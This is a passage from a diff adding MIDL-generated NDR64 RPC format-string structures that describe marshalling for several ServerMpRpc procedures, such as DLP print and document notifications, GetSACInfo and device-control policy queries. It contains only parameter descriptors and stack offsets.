0x0 */, + &__midl_frag1864 + }, + { + /* Struct_3958_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1862_t __midl_frag1862 = +{ +/* *Struct_3958_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1863 +}; + +static const __midl_frag1861_t __midl_frag1861 = +{ +/* **Struct_3958_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1862 +}; + +static const __midl_frag1859_t __midl_frag1859 = +{ +/* Proc192_ServerMpRpcGetSACInfo */ + { + /* Proc192_ServerMpRpcGetSACInfo */ /* procedure Proc192_ServerMpRpcGetSACInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1861, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1849_t __midl_frag1849 = +{ +/* Proc191_ServerMpRpcGetDeviceControlSecurityPolicies */ + { + /* Proc191_ServerMpRpcGetDeviceControlSecurityPolicies */ /* procedure Proc191_ServerMpRpcGetDeviceControlSecurityPolicies */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2054, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2054, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1843_t __midl_frag1843 = +{ +/* Proc190_ServerMpGetTDTFeatureStatus */ + { + /* Proc190_ServerMpGetTDTFeatureStatus */ /* procedure Proc190_ServerMpGetTDTFeatureStatus */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1839_t __midl_frag1839 = +{ +/* *Struct_126_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag121 +}; + +static const __midl_frag1838_t __midl_frag1838 = +{ +/* *Struct_3880_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1828 +}; + +static const __midl_frag1837_t __midl_frag1837 = +{ +/* *Struct_3824_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1746 +}; + +static const __midl_frag1836_t __midl_frag1836 = +{ +/* Proc189_ServerMpRpcDlpNotifyPostStartPrint */ + { + /* Proc189_ServerMpRpcDlpNotifyPostStartPrint */ /* procedure Proc189_ServerMpRpcDlpNotifyPostStartPrint */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1837, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1838, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1839, + { + /* arg_3 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1832_t __midl_frag1832 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1828_t __midl_frag1828 = +{ +/* Struct_3880_t */ + { + /* Struct_3880_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3880_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + &__midl_frag1832, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1826_t __midl_frag1826 = +{ +/* *Struct_3824_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1746 +}; + +static const __midl_frag1825_t __midl_frag1825 = +{ +/* Proc188_ServerMpRpcDlpNotifyPrePrint */ + { + /* Proc188_ServerMpRpcDlpNotifyPrePrint */ /* procedure Proc188_ServerMpRpcDlpNotifyPrePrint */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1838, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1817_t __midl_frag1817 = +{ +/* Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument */ + { + /* Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument */ /* procedure Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1839, + { + /* arg_3 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1810_t __midl_frag1810 = +{ +/* Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument */ + { + /* Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument */ /* procedure Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1805_t __midl_frag1805 = +{ +/* Proc185_ServerMpRpcDlpNotifyCloseDocumentFile */ + { + /* Proc185_ServerMpRpcDlpNotifyCloseDocumentFile */ /* procedure Proc185_ServerMpRpcDlpNotifyCloseDocumentFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1837, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1799_t __midl_frag1799 = +{ +/* Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile */ + { + /* Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile */ /* procedure Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1839, + { + /* arg_2 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1794_t __midl_frag1794 = +{ +/* Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile */ + { + /* Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile */ /* procedure Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* 